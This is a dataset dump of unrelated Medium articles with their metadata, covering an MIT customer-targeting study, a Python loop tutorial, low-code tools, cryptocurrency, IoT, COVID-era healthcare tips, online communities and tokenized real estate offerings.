As a remedy, MIT researchers experimented with “statistical surrogacy” to estimate outcomes and make adjustments before the year or so they may otherwise have to wait for results. They studied churn management at The Boston Globe to see if discounts for digital subscriptions maximized long-term revenue. At an IDE seminar this fall, MIT Sloan Associate Professor, Dean Eckles, explained that in order for the news organization to increase retention and profits over the long term, the researchers developed and applied methods for learning surrogate outcomes. “Over three years, our approach had a net-positive revenue impact in the range of $4 million to $5 million compared to The Boston Globe’s current policies,” according to Eckles, a co-author of the research paper, Targeting for Long-Term Outcomes. The paper won this year’s Best Paper Award at the INFORMS Annual Conference in the eBusiness category. It was co-authored by MIT IDE Director Sinan Aral, Sloan PhD candidate Jeremy Yang, and former Sloan Postdoc, Paramveer Dhillon.
MIT IDE Content Manager, Paula Klein, asked Eckles and Yang to explain the significance of the study and the implications for other marketing strategies.
Q: From the macro perspective, what was the impetus for this study; how widespread are the problems of long-term outcomes and targeting for business marketing campaigns?
Eckles: Many decision-makers have this problem: They want to learn from early trials, but can only find out what happened to customers, patients, etc., if they wait. In a clinical trial, we might care about mortality from any cause after five years, but basing all decisions on this criteria is problematic. Patients may have multiple mortality risks, and a lot of the variation in mortality could have nothing to do with the treatment.
In business settings, we often care about long-run profits associated with a customer — this is especially true when thinking about costly efforts to acquire or retain customers.
Yang: I’d also say this type of problem appears as long as you care more about the consequences of your actions tomorrow (long-term) than today (short-term), and you want to decide right away. Our approach has many applications in marketing or business in general, but it can also be applied much more broadly.
Q: Can you explain the concepts of treatment effects and target interventions? Are they commonly used by businesses and are they more accurate now with AI algorithms? How are digital technologies changing the game?
Yang: The concepts of treatment effects and target interventions are quite intuitive. Suppose a firm has some customer interventions (actions) it can take such as sending promotional discounts to them. The question is, ‘To whom should the firm send these discounts in order to maximize a long-term outcome (revenue)?’ This is what it means to target intervention (i.e. discounts) to the appropriate customer. In our case, a treatment effect is the difference in revenue the firm earns from a customer when it sends her discount A versus discount B. Although these definitions aren’t directly linked to AI, or more specifically machine learning, AI can help to learn what the treatment effects are and how to target interventions from the available data.
Digital technology makes a huge difference in product and service measurement and delivery. To use the discount example again, the firm can learn and target much better if it has more data on its customers. In turn, more information about these customers can be measured, stored, and then analyzed with digital technology. Also, the firm can deliver these discounts digitally to customers’ smartphones, rather than using snail mail for printed coupons.
Q: What specific changes did The Boston Globe seek to learn about its customers and how did you approach the problem? What were the results on churn and revenue, and what were the biggest challenges?
Yang: One thing the Globe did was to lower its introductory rate to acquire more new subscribers, but once that rate expires, subscribers will be paying the full price. These new subscribers could be at higher risk of canceling their subscription, creating churn. Therefore, churn management is a pressing problem — which is exactly what our approach was applied to solve.
We ran two rounds of experiments, the first in 2018, and the second a year later.
Based on our estimation, our approach reduces churn and increases the three-year revenue per subscriber by $40, on average. If you multiply that by the total number of subscribers in the experiments, it would amount to a substantial $4 million to $5 million.
Our approach has a few key components including experimental design, learning surrogate outcomes, optimal targeting using learned surrogate outcomes, and validation. It took us a while to build the pipeline. We were also deeply involved in the implementation.
Q: In the current economic environment and pandemic what takeaways can you offer executives for campaigns underway or those about to start? Are there totally new considerations to weigh or can these lessons still apply?
Eckles: One of the things that the pandemic has highlighted is that the future isn’t always like the past — sometimes things are just a bit different, like maybe we start attracting a different type of customer, and sometimes things can abruptly change. So this means we should always keep experimenting. We may have learned in the past that some intervention works, or that this surrogate outcome is predictive of long-run outcomes. But this can change, so we should use that knowledge but also keep experimenting to keep up with changes. | https://medium.com/mit-initiative-on-the-digital-economy/new-methods-improve-customer-targeting-business-outcomes-8e176c6883ba | ['Mit Ide'] | 2020-12-17 01:51:11.346000+00:00 | ['Digital Experimentation', 'Customer Targeting', 'Marketing Technology'] |
2,251 | Looping in Python. How to use the enumerate() function in… | Looping in Python
How to use the enumerate() function in python
Photo by Florian Olivo on Unsplash
Introduction
Let’s say that we have a list. We want to iterate over this list, printing out the index followed by the list element or value at that index. Let’s accomplish this using a for loop:
num_list= [42, 56, 39, 59, 99] for i in range(len(num_list)):
print(i, num_list[i]) # output:
0 42
1 56
2 39
3 59
4 99
range() is a built-in function in python that allows us to iterate through a sequence of numbers. As seen above, we use the for loop in order to loop through a range object (which is a type of iterable), up to the length of our list. In other words, we start at an i value of 0, and go up to (but not including) the length of num_list, which is 5. We then access the elements of num_list at the i-th index using square brackets.
However, it is important to understand that we are not actually iterating over num_list. In other words, i serves as a proxy for the index that we can use to access the elements from num_list. | https://towardsdatascience.com/looping-in-python-5289a99a116e | ['Luay Matalka'] | 2020-09-22 20:36:39.324000+00:00 | ['Software Engineering', 'Programming', 'Python', 'Technology', 'Data Science'] |
2,252 | Four reasons that low-code applications can help you to boost your productivity | Four reasons that low-code applications can help you to boost your productivity
How truly achieve agility on your organization focusing on what matters to your business and multiply the productivity of your development team
Photo by Markus Spiske on Unsplash
Fashion is cyclical and the same thing happens in Software Engineering. We live in a world where each innovation seems similar to one in the past; we advanced some time ago. That’s because what we’re doing is just refining over and over solutions for the same problems.
We’ve lived for the last years a “developer is the new black” rise, where anything related to writing code is excellent. Even devs are now observed as a cool character like the ones from Silicon Valley (the HBO show) instead of the one you can make fun of like in The I.T Crowd.
But, now, it seems we’re going back to a new rise of what is called Low-Code (or No Code) Applications.
Low-Code Application is a piece of software that helps you generate your applications or services without needing to write code in any programming language, instead of doing that, you can drag & drop some boxes that represent what you’d like to do instead of write it yourself.
That has provided advantages that are now again on the table. Let’s take a look at those advantages in more detail
1.- Provides more agility
That’s clear. No matter how high level your programming language is, no matter how many archetypes you have to generate your project skeleton or the framework and libraries that you use. Typing is always slower than drag some boxes into the white canvas and connects them with some links.
And I’m a person that is a terminal guy and VI power-user, and I realize the power of the keyboard, But let’s be honest and ask you one question:
How many of the keywords you type in your code are providing value to the business and how many are just needed for technical reasons?
Not only things like exception handling, auditing, logging, service discovery, configuration management, but stuff like loop structure, function signature definition, variable definition, class definition, and so on…
You can truly focus on the business value that you’re trying to provide to your business instead of spending time around how to manage any technical capabilities.
2.- Easier to maintain
One month after production only the developer and god knows what the code does. After a year, just god knows…
Coding is awesome but it is at the same time complex to maintain. Mainly on enterprises when developers are shifting from one project to the other, from some departments to others, and new people are being onboarded all the time to maintain and evolve some codes.
And the ones that have been in the industry for some time, know for example the situation when people said: “I prefer not to touch that because we don’t know what’s doing”, “We cannot migrate this Mainframe application because we don’t know it will be able to capture all the functionality they’re providing.”
And that’s bad for several reasons. First of all, it is costly to maintain, more complex to do it, but second is also avoiding you to evolve at the pace that you want to do it.
3.- Safer and Cost-Effective
Don’t get me wrong about this: Programming can be as safer as any low-code application. That’s clear because, in the end, any low-code app ends up generating the same binary or bytecode to be executed.
The problem is that this is going to depend on the skills of the programmer. We live in a situation that, even programming and developers are a cool thing, as you need a big number of devs in your team that implies that not all of them are as experienced and skill as you want them to be.
Reality is much more complex and also you need to deal with your budget reality and find the way to get the best of your team.
Using Low-code application, you are guaranteed the quality of the base components that are verified by a company and that they’ve improved with dedicated teams incorporating feedback for customers all over the world, which makes it safer.
4.- As ready as a code-base solution for specific needs
One of the myths that are saying against Low Code is that it is suitable for generic workloads and use-cases, but it is not capable of being adapted and optimized for your needs.
Regarding this usual push-back, first of all, we need to work on the misconception of the level of specification our software needs. In the end, the times when you need to do something so specific that is not covered by the options available out of the box are so low that it is complex to justify. Are you going to make a slower 99% of your development only to be able to do it quicker than 1%? How much of your workloads are not similar to what other companies are doing in the same industry?
But even for the sake of the discussion, let’s assume that’s true, and you need a single piece of logic a low-code application doesn’t provide out of the box. Ok, Low-Code means that you don’t need to write code, not that you cannot do it.
Most of the platforms support the option to add code if needed as an option to cover these cases. So, even in those cases, you still have the same tools to make it specific without losing all the advantages of your daily activities.
Summary
Low-code applications are one of the solutions you have at your disposal to improve your agility and your productivity in your developments to meet the pace of the changes in your business.
The solutions working on that space are not new, but they’ve been renovated to adapt to the modern developer paradigms (microservices, container-based, API-led, event-driven…) so you’re not going to miss anything but to get more time to provide even more value to your business. | https://medium.com/the-innovation/four-reasons-that-low-code-applications-can-help-you-to-boost-your-productivity-f162e77fa108 | ['Alex Vazquez'] | 2020-07-14 13:55:45.945000+00:00 | ['Programming', 'Software Development', 'Productivity', 'Technology', 'Software Engineering'] |
2,253 | Cryptocurrencies already changed the world | Cryptocurrencies already changed the world
You blinked and you missed it
Source: Alex Wong/Getty Images
I know, I know. It’s a bold statement.
Blockchain as a technology has a long way to go, and yes, it is true — crypto is mostly used for speculation.
However, despite still being at a very early stage, cryptocurrencies have changed the world in a way that there’s no coming back from: they’ve shown us that there is an alternative.
Will they be disruptive? Maybe. Will they be the main form of payment in the future? Possibly. But those things aren’t here yet.
What is here is the following: a way to keep the system in check.
I recently spoke at the European Central Bank about crypto and what I realized is that the banks and Central Banks are rushing to get involved because they are suddenly exposed to something they did not know before: external competition.
The financial system is under constant competition from within itself, but its authority has never been questioned by an outsider. And even when they slipped, we know exactly what happened.
The famous headline included by Satoshi Nakamoto in Bitcoin’s genesis block
Except now there’s a little guy in the back just waiting to be put in the game. He’s no starter yet, but he has some skills — he’s mastered cross-border payments, for example.
So maybe cryptocurrencies never take over, or maybe they morph into top-down rather than bottom-up systems. But the fact that they came up from internet forums to snatch a few hundred billions of dollars in market cap shows that there is a viable alternative.
Finally, when the line gets crossed, we know there’s another option we can turn to. By itself, that’s enough to keep bankers in check and sleeping with one eye open.
If crypto will eventually disrupt the system I don’t know, but at a minimum it has and will continue to force it to be more efficient and inclusive.
And that, ladies and gentlemen, is change like we’ve never seen before. | https://medium.com/london-blockchain-labs/cryptocurrencies-already-changed-the-world-17cfa1f8aad7 | ['Yakko Majuri'] | 2019-08-06 19:16:02.378000+00:00 | ['Bitcoin', 'Blockchain', 'Cryptocurrency', 'Technology', 'Finance'] |
2,254 | Innovative Ideas and Suggestions from Top Healthcare Leaders Experts | Healthcare has faced its biggest challenge in the past nine months-COVID-19. The average loss of revenue for healthcare organizations for 2020 is nearly 40 percent. Read this article for suggestions from healthcare leaders and other experts to get ideas for managing change and how to better engage and care for patients.
Table of contents
Innovative ideas to serve and engage with patients
Managing change and crisis
Healthcare has faced its biggest challenge in the past nine months-COVID-19. The impact is being felt far and wide, as tens of thousands of people continue to test positive and hundreds lose their lives every day, and everyone waits for a vaccine. Healthcare organizations are struggling with huge financial losses while they do their best to care for and educate patients. The average loss of revenue for healthcare organizations for 2020 is nearly 40%.
We’ve compiled this guide of suggestions from healthcare leaders and other experts to give ideas for managing change and crisis and how to better engage and care for patients during this difficult time.
Innovative ideas to serve and engage with patients
1. We are offering patient/parent webinars on hot topics, such as navigating COVID and Children, Behavioral Health, Asthma Education, Newborn Basics, to continue to be their trusted resource. — Leslie Baker, executive vice president of operations, Allied Physicians Group
2. In a recent blog post, I shared my thoughts around a new COVID questionnaire shared by OpenNotes in a recent paper they published. I was able to use this new questionnaire recently for my own telehealth visit and found it very helpful. — Dave deBronkart (e-Patient Dave), founding co-chair, HL7® Patient Empowerment Workgroup, co-founder and chair emeritus, Society for Participatory Medicine
3. Review canceled appointments (including those from the spring), and proactively reach out to patients to reschedule. Patients may not realize you’ve returned to seeing patients, and even if they do, your communication about the missed appointment conveys that you care. — Elizabeth W. Woodcock, MBA, FACMPE, CPC, speaker, author & trainer, Woodcock & Associates, founder & executive director, Patient Access Collaborative
4. Healthcare providers have been very innovative during COVID-19. I interviewed one practice manager who set up a camper in the parking lot so providers could isolate and treat symptomatic patients there. Some practices have split their schedules so providers only see symptomatic patients during certain hours of the workday. Others have designated certain office locations as respiratory clinics. — Lisa A. Eramo, MA, freelance healthcare writer & editor, Lisa A. Eramo Writing Services, Inc.
5. Use two-way text to create “park and text” waiting room
As COVID-19 continues to impact communities, many facilities are reopening. To support the safety of patients and staff, organizations need to use new tools and strategies to support social distancing. One way to do this is to eliminate the in-office waiting room and ask patients to “park & text” or wait outside and text. This process is easy to set up and support.
Let patients know upon scheduling that your waiting room is closed and they should wait outside-ideally in a line that is marked for social distancing-or in their car. They should text on arrival.
Include pre-visit instructions in appointment reminders that patients should wait outside or in their cars and text on arrival.
If patients don’t confirm appointments, consider reaching out via two-way text to confirm and remind them to text on arrival.
Put a sign up on the entrance reminding patients to text upon arrival and wait outside or in their car.
Once patients text, if you are checking temperatures or doing a pre-screening, have a staff member go out to the car to perform that check.
When the provider is ready to see the patient, text the patient to come in.
To further support social distancing and remove other activities that can spread germs, consider adding digital intake forms with a COVID pre-screening form and a mobile bill pay option for collecting co-pays before appointments and other due amounts afterward. That way patients can have additional screening and no one has to pass around clipboards or devices during the appointment. — Lea Chatham, director of content marketing, SR Health by Solutiuonreach
6–10. Here are five tips from Grace Cordovano to engage patients in their care:
Use telemedicine to consult with not only the patient but also other specialists that are part of the patient’s care team, especially when handling medication adjustments.
Give patients a copy of their bloodwork, imaging, test results to review and keep; bonus points for sharing your screen during a virtual encounter to review results.
Provide patients and families with access to https:// www.opennotes.org/
Provide patients and their families with information on how to access their medical records.
Give providers and office staff credible information to dispel misinformation about HIPAA to drive stronger patient access by sharing the AMA’s Patient Access Playbook.
11. Customize pre-visit instructions
With the addition of strategies like park and text and telehealth visits, pre-visit instructions have taken on a new level of importance. Patients not only need to know when their appointments are but whether they are in-person or remote, where to wait, how to access video, and more. Also, COVID pre-screening is critical to everyone’s safety. Pre-visit instructions allow organizations to provide all this information (i.e., if you are having symptoms of COVID-19 please call before your appointment, park and text us upon your arrival, here is the link to join your telehealth appointment, etc.). The ability to customize timing is also critical. For telehealth visits, it’s ideal to have a message that goes out a few minutes ahead with links and instructions. — Justin Everette, vice president of marketing, SR Health by Solutionreach
12. Curbside pickup Some organizations are offering curbside pickup for medical devices. The patient schedules a time for the pickup. They text on arrival and a staff person comes out with the device and related paperwork. It’s all done from the car with masks on and then the patient is on their way. — Jeff Gladnick, founder & CEO, Great Dental Websites
13. Your Google My Business (GMB) profile has options to update your practice’s COVID-related news. Make sure you fill out your COVID updates on the “Posts” section, include a link from the “Info” section that directs users to your COVID-related procedures webpage, and adjust your temporary hours as things change. Change these sections as often as necessary to keep Google, and patients, well informed. — Jeff Gladnick, founder & CEO, Great Dental Websites
Managing change and crisis
14. Be transparent and cooperate with a lot of people. If you try to do it on your own you’ll fail, but if you’re open and work as a team you’ll succeed. — Marc Probst, former CIO, Intermountain Healthcare
15. Do a virtual social hour to retain your culture. Respect, integrity, compassion, humility, and empathy are our core values and have been crucial to navigating the effects of the pandemic. — Leslie Baker, executive vice president of operations, Allied Physicians Group
16. COVID change is an opportunity for border change COVID is forcing us to change many things. Whether it’s the shift to telehealth or the move to virtual check-in. One hack is to leverage these change opportunities to embrace broader change, new technology, or a new approach. Don’t overstep too far or you’ll get blowback, but don’t let this crisis go to waste. As you change for COVID, think about what else you could change at the same time to benefit your organization. — John Lynn, Healthcare IT Today
17. Use your email reply to post standard FAQs. For example, if you’re in charge of technology for your practice, post the common responses to questions from colleagues; if you have a patient-facing email address, post the common responses to questions from patients. The automatic reply will be sent anyway; it’s a great opportunity to communicate. — Elizabeth W. Woodcock, MBA, FACMPE, CPC, speaker, author & trainer, Woodcock & Associates, founder & executive director, Patient Access Collaborative
18. The best investment you can make is an investment in your team. With meetings and live events being canceled due to COVID, more offices are seeing that online education is not only easy to access but very successful in helping train and grow their team. Taking advantage of online education has been a gamechanger for those practices that are doing well and should continue to be included in the future of their education options for their team to grow and learn. — Laura Nelson, business unit leader, Front Office Rocks
19. In large group practices, they are breaking into two or three “teams” that come in at different hours. For instance, one “team” is 7:00 a.m. — 1:00, the next “team” at 2:00–7:00 p.m. This preserves their ability to keep the office open in the event a doctor or team member becomes COVID positive. — Virginia Moore, consultant, and speaker, Moore Practice Success
20. Grow your digital health maturity Many organizations have begrudgingly started to use digital health in response to demands and expectations. The best organizations, however, leverage digital health solutions to move from “supported” to “strategic” or even “transformative”-where digital health is used to reinvent the organization from the ground up. — Christian Milaster, founder & president, Ingenium Digital Health Advisors | https://medium.com/an-idea/innovative-ideas-and-suggestions-from-top-healthcare-leaders-experts-c0a336146980 | ['Alex Lim'] | 2020-12-22 16:35:43.347000+00:00 | ['Healthcare', 'Ideas', 'Creativity', 'Innovation', 'Technology'] |
2,255 | Kicking Off the 2019 Blockchain Summit | Kicking Off the 2019 Blockchain Summit
By Valery Vavilov
Five years ago, we had a big idea: Let’s invite some of the world’s smartest and most interesting people, from a broad cross-section of government, business and non-profits, to an intimate and collegial summit on Sir Richard Branson’s Necker Island. There, we’ll identify creative new ways that blockchain technology can make the world a better place. Then, we’ll turn those ideas into action.
This week, the Blockchain Summit — organized by Bitfury, ACTAI and the Global Blockchain Business Council — celebrates its fifth anniversary as one of the most important and impactful gatherings in the blockchain ecosystem.
Kicking off our 2018 Summit at the Kasbah Tamadot in Morocco
This year, the Blockchain Summit will focus primarily on government. Our honored guests — some of today’s biggest game-changers in technology, academics, policy and regulatory issues, media, business, conservation and digital finance — will confront the broken systems and services that are failing their citizens every day. With an eye toward blockchain and other emerging technologies, we will identify ways that we can best repair them.
To discover how we can make the world a more just and livable place, we must start by talking about our governments and the rules they create and implement. We will discuss how these institutions have supported innovation and analyze if (and how) they are applying the same innovative spirit to themselves and their responsibilities.
We’ll talk about the declining levels of trust and blockchain’s role in repairing that. We’ll discuss security issues and blockchain’s ability to create digital identities. And we’ll talk about efficiency — reducing costs, streamlining processes, decreasing audit burdens, and ensuring data integrity.
We’ll highlight the importance of smart and innovative regulation. The world is changing so fast; Regulators need to embrace an agile approach to emerging technologies that enables them to evolve and grow.
We’ll ask hard questions, like where can we, and the policies and technologies we discussed during this summit, do the most good now? We will discuss two critical issues — the state of journalism in our world today, and the cruel realities of climate change. And we’ll analyze where technology is, and isn’t, a solution.
And finally, we will learn about the oldest and most successful use case of blockchain to date — digital currencies — and hear from our resident visionaries and experts about other innovations in store for blockchain and crypto.
Attendees visiting the Eve Branson Foundation during the 2018 Blockchain Summit in Morocco
We’ll do this, as always, in an atmosphere that encourages deeper levels of thoughtful conversation than could possibly exist at other conferences. This is what our summit is all about — drawing people out of offices and away from emails and phones so that we can think, talk, and learn from one another, with blockchain as a critical tool in our toolbox.
I encourage you to watch our panel discussions, which will be broadcast on Facebook Live, and follow our social media channels for news and updates about the Summit. And let us know what you think. Our Summit will only truly succeed if it sparks discussions and change beyond Necker Island. If we inspire you to imagine new solutions to old problems, reach out and join the conversation. It’s only by working together that we can truly make a difference. | https://medium.com/meetbitfury/kicking-off-the-2019-blockchain-summit-4f467247a836 | ['The Bitfury Group'] | 2019-06-21 12:45:32.879000+00:00 | ['Bitfury', 'Leadership', 'Technology', 'Blockchain Summit'] |
2,256 | A Simple Guide to the Internet of Things | Photo by Nastya Dulhiier on Unsplash
You’re late. You’ve overslept, and now you’re rushing to get to work on time. As you frantically pull out of the driveway and hit the road, you realize you forgot to lock the front door. Not to worry. Your home is monitoring your phone’s GPS location and knows that you’ve left. Immediately, the doors lock, and the security system activates. All the lights turn off. The thermostat even decreases the temperature to conserve energy.
But wait… this sounds too good to be true, right? Well, thanks to the Internet of Things (a.k.a. IoT), remotely controlling your home is now possible.
Per its namesake, IoT is a network of devices connected to the internet and each other. It makes “dumb” objects become “smart” by enabling them to collect, share, and receive data through the internet.
Let’s dive into how IoT works and how it’s used in the real world.
Components of an IoT System
Sensors and Devices
An IoT device uses sensors to monitor and collect information on their surroundings. Sometimes sensors are part of a device that has functions aside from sensing. Your phone, for example, has several sensors like a camera and GPS. But your phone itself doesn’t just operate as a sensor.
Connectivity
Once the device gathers information, the data is sent to a cloud platform. They’re connected to the cloud through different communication methods such as satellite networks, Bluetooth, and Wi-Fi.
Gateways
Devices can connect to the cloud through gateways. While not necessary, they are helpful. Sensors and devices can sometimes generate so much data that it’s too expensive and overwhelming to transmit. Often, only a small percentage of the data is actually useful, like how a security camera doesn’t need to send footage of a hallway when it’s empty. Gateways act as a bridge between devices and the cloud. They can filter and process the collected data before sending it to the cloud, minimizing the required transmission, processing time, and storage capacity.
Data Processing
When the cloud receives the data, it can process the information but also analyze it in detail. The processing can be simple, like reading the temperature, or complex, like analyzing a video feed.
User Interface
After the data is processed, it’s sent to the user. Most of the time, the individual can use an interface such as an app or web browser to act on the system. For instance, they could turn on and off the lights in their home remotely through an app. In some cases, the system could also automatically perform an action based on the information it received without waiting for directions. Such as if it senses an intruder in the house, it may immediately alert the police.
Real-World Applications of IoT
The Internet of Things is changing many different aspects of our lives. Here are some ways IoT is shaping our future:
Smart Homes
A smart home enables you to remotely control and even automate the appliances in your house. Turn on the lights, change the temperature on the thermostat, and view the home surveillance all with your phone. Smart homes can help people reduce energy usage, ultimately saving them money as well.
Smart home company Nest has a thermostat that learns your preferred temperatures.
Smart Cities
Cities can use IoT to improve security, waste management, and pollution. Some cities have already implemented IoT systems to better the lives of their citizens. In Palo Alto, California, parking areas have sensors that alert drivers when a spot is available. This saves people time looking for free parking spaces and reduces traffic congestion.
Palo Alto, California
Recap
IoT is a network of connected devices that collect, share, and receive data via the internet.
Sensors and devices collect data then transmit it to the cloud where it is processed, then sent to the user. The user can control an IoT system with an interface such as an app.
IoT can be applied to almost every aspect of our lives and will greatly impact our future.
Thanks for reading my article! Feel free to connect with me on LinkedIn and subscribe to my monthly newsletter to stay updated on my progress! | https://studentsxstudents.com/a-simple-guide-to-the-internet-of-things-ad6eb9386e2 | ['Jalisha Yap'] | 2021-03-01 21:05:52.728000+00:00 | ['Smart Cities', 'Smart Home', 'Internet of Things', 'Technology', 'IoT'] |
2,257 | The Impending Death of open online communities. | Today, I want to look at how the pendulum swings back and forth between large open online communities (Facebook and Twitter) and small, private online communities (which can even exist within these large platforms). But first, I want to point out that I’m not an expert in this field. This article is more of a personal observation based on conversations I had with friends and recent reading that encouraged me to think about it.
The Grand Social Experiment that is the internet has changed rapidly over the years. In its early years there was nothing even remotely similar to the massive open social networks such as Facebook, Twitter and YouTube that would eventually take over. While the Internet has always been about open access to information and knowledge, at the time it mainly consisted of gated and anonymous communities in its very beginning.
I still remember the time of IRC (Internet Relay Chat) and the vast amount of bulletin boards (online forums). What the majority of these online communities had in common was that they were mostly anonymous and invite only. Most IRC channels you wanted to be a part of were only accessible if you knew someone in it and received an invite. The same applied to the majority of bulletin boards which had an open registration but still manually approved your membership, meaning you just couldn’t jump in everywhere and join the conversation. It was hard to get into these gated online communities and I certainly wasn’t a fan of it at the time.
The anonymity had its pros and cons. The positive part was that discrimination based on pre-existing biases just wasn’t there, at least to a certain degree. All people could judge you on was your profile picture and your online handle, both of which you could control yourself.
“The anonymity gave members reason to be their best, most honest version of themselves — or be their worst (trolls).”
If your forum handle was “Eagle10” (fairly generic) and you contributed with smartly written articles on the forum, no one gave a shit about how old you were, where you came from or what your religion was. People in these communities were simply judged based on contributions such as their writing and their ability to have a civil conversation. If you broke the rules, forum moderators would be quick to give you a temporary ban or remove you entirely from the forum (I’m not a big fan of that kind of moderating). Each forum had its own rules, some more casual than others.
The anonymity in these online communities gave members reason to be their best, most honest version of themselves — or be their worst (trolls). Conflict and the sharing of controversial viewpoints was highly encouraged as long as people did not resort to mindless trolling or breaking the basic rules. I’ve seen many heated discussions in these IRC chats or bulletin boards, yet none of them escalated to what you see on Twitter or Facebook today. At that time it all felt kind of unreal, like a game. It was cyberspace, the wild west of the World Wide Web.
One of the many negatives of anonymity was the fact that you had zero credentials before joining a new community. Since your real identity and all your real life accomplishments were not part of your anonymous online persona, it was kind of like starting over, collecting new status points in a new online currency. No one would believe you if you said you were a doctor, until you shared your opinion and slowly built trust in your online persona. But the saddest part of anonymity online is the fact that nobody can hold anyone else accountable. It brings out the worst in people because there is no consequence for our words or actions.
What I’ve described was the time when the pendulum was swinging very far in one direction. The anonymity of the Internet, and specifically of online communities, around the early 2000’s was too extreme.
All of this changed when the masses could finally access the Internet and Facebook came long. Facebook was one of the first social networks that required you to use your real name and strongly recommended using a real picture of yourself. Gone were the days of anonymity. Enter the time of real accountability and human connections.
While Facebook started off as a gated community (invite only) it soon opened its gates and so did many other networks. Online communities significantly changed as the majority of large social networks became accessible to everyone. Millions joined with a fresh internet connection every year, creating billions of profiles on Twitter, Facebook, Youtube and so on. Slowly but surely, the pendulum started swinging in the other direction. Online handles faded away. Real profile pictures and real names became a common sight. These were true open social networks and transparent identities.
“The internet isn’t a parallel world anymore, it’s an extension of our real life.”
Most online communities now require you to use your real name. Now, it seems that only trolls use a fake name and fake profile picture; what seemed pretty normal before has become something sketchy today. The internet isn’t a parallel world anymore, it’s an extension of our real life. It has become one of the primary places we do business today, and nothing is more important than trust when doing business with each other. Trust requires us to show the real person behind the avatar.
Our online persona slowly merged with our real self. We became the same person online as we were in real life, or at least we liked to think so. Twitter, Facebook, Instagram and Snapchat taught us to share like we’d never done before. We shared the same thoughts, information and feelings that we previously only shared in closed communities — plus a whole lot more. The Internet became our primary medium for discussing politics, current events and even deeply personal information. We felt as if nothing could happen to us; being vulnerable and showing our true self online was the right thing to do. At least until now.
Now, I believe we’re at the breaking point. The pendulum is swinging back. People are slowly retreating into gated and more private communities. Folks are putting their Twitter profile and Instagram profiles on private. They are joining invite-only Slack communities and only engaging in conversations on Facebook if they’re in a private group. We want safe, meaningful and respectful dialogue that replicates our highly curated offline conversations. Yet even then, we’re careful about sharing any controversial opinions, because our real names are now attached to them. The open dialogue that used to define social networks is dead. Welcome to the age of self censorship.
In a way, we failed at managing our own expectations. With the loss of anonymity we were promised an extension of our much valued democracy, where people can safely share their opinion and where public dialogue is encouraged. To our surprise, we found the opposite to be true. We take everything personally and we’re easily offended if someone (most likely a stranger) expresses an opinion contrary to ours. We are overly fragile and see conflict and friction as evil. We aim to be fair and democratic, deferential and agreeable at the same time but we fail horribly at it. We’re afraid of saying something that could possibly offend someone around us, so we keep our honest opinion to ourselves. And if we do venture to express our opinion online, we do so in a nicely packaged passive aggressive fashion, which helps no one.
While it seems like it’s people who have changed drastically, I believe people have always been the same. It’s our environment that has changed. The reason we felt less offended back then was because the internet was anonymous and we could hide behind our avatars. We didn’t take words online personally because no one was attacking us personally, but rather our ideas. And even if we felt a strong attachment to our expressed ideas, we were still slightly detached from our online characters. The real us and our online selves were not the same person. Today, they are.
Now we seek safe spaces that mimic our offline, highly curated friendship bubbles. We wish for a respectful place to share our opinion without the backlash of someone attacking us on a personal level. Private and curated communities work so well because they’re usually made up of the same people as you, sharing roughly the same opinion. Everyone is agreeable by default.
It’s a nice temporary fix, but I don’t know that it’s a good one. One of the reasons your Facebook comment sections are fairly civil is because Facebook does a great job at creating artificial, private communities within your friend groups. Friends that are all agreeable because they share interests and political views. Facebook knows that if they’d open it up it would be a shit show — similar to what Twitter is right now, a shit show.
This is our defense mechanism, we take a step back and hang more with like minded people. Sadly, it’s also a step back for diversity of thought or any open dialogue that involves different viewpoints. When the pendulum swings too much in one direction, it is bound to swing the other way. The question is how far back it will swing, or whether we can find a good spot in between.
Thank you for reading,
Tobias
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Header Photo by Kunj Parekh on Unsplash
PS: I usually send out these articles via my personal email list before they appear in a more organized format on here. Thank you to all my readers for their input & feedback which ultimately shapes the final form these articles. 🤘🏼
Want to learn more about me? I’m Tobias is a Designer & Maker + Co-Founder of Semplice, a portfolio platform for designers. Also host of the show NTMY — Previously Art Director & Design Lead at Spotify. | https://medium.com/desk-of-van-schneider/the-impending-death-of-open-online-communities-b75f8f7e3b2d | ['Tobias Van Schneider'] | 2017-11-16 16:04:22.770000+00:00 | ['Community', 'Tech', 'Internet', 'Technology', 'Social Media'] |
2,258 | Tokenized Real Estate Private Placement Offerings | Tokenized Real Estate Private Placement Offerings
How leveraging blockchain can provide value right now
A private placement offering is used to raise funding directly from a variety of qualified capital sources, which include Institutions, Real Estate Funds, Family Offices and High Net Worth Individuals. By leveraging blockchain, tokenizing private placement offerings provides increased access to capital, flexibility, and control for issuers, as well as a previously unattainable liquidity for investors.
For this article we are going to provide basic insight into the traditional issuer and investor perspectives and how RealBlocks provides value via tokenized real estate private placements.
Issuer Perspective
By utilizing a private placement offering, issuers aim to raise funds at a faster rate, incur less fees and avoid extensive regulation and reporting requirements — compared to public raises. With public raises, such as an IPO or stock listing, issuers are subject to stricter financial reporting (SEC regulations), higher fees, and a longer capital raising timeline, though benefit from a much broader marketing effort. Marketing private placements within the US, on the other hand, must be limited to accredited retail investors or institutions.
Investor Perspective
The investors of private placement offerings within the US are generally limited to accredited investors, which in 2016 equaled almost 10% of American households. While 10% may not seem high, these individuals controlled roughly 75% of US private net worth.
Two common ways for a US citizen to be considered an accredited investor, according to the SEC, are having a net worth of $1M in liquid assets (not including your primary residence) or $200K in annual income for at least two years, and $300K if married. However, not every offering is limited to only accredited investors. Depending on the regulations of the offering, up to 35 non-accredited investors are able to participate. Under specific securities regulations, international investors can also participate in the private placements.
When it comes to investing in private placements, a tremendous advantage is the potentially high return associated with the investment. With that said, a disadvantage for investors has been the illiquidity component. In a traditional private placement offering, the options for investors to get liquidity are rather limited.
RealBlocks‘ Solution
RealBlocks will provide institutions, family offices and developers the ability to raise capital to form an investment fund, for a prospective construction project, or raise additional capital for an existing fund via tokenized private placement offerings. This solution provides issuers accelerated offering timelines, democratized access to a global pool of qualified investors, plus flexibility and control of the offering (through buybacks or further liquidation depending on the token net asset value, or NAV).
On the demand side — domestic, international, and cryptocurrency — investors will be able to purchase fractional shares of real estate portfolios, receive passive income based on their pro-rata share, and seamlessly liquidate their holdings, which is a major differentiator between this offering strategy and the traditional route. Investment minimums will be specific to each offering.
Our approach to secondary trading will consist of a short-term and long-term solution. In the short term, we will provide a bulletin board on the platform for investors to participate in peer-to-peer trading. In the long-term, we will integrate with an exchange where security tokens can be traded.
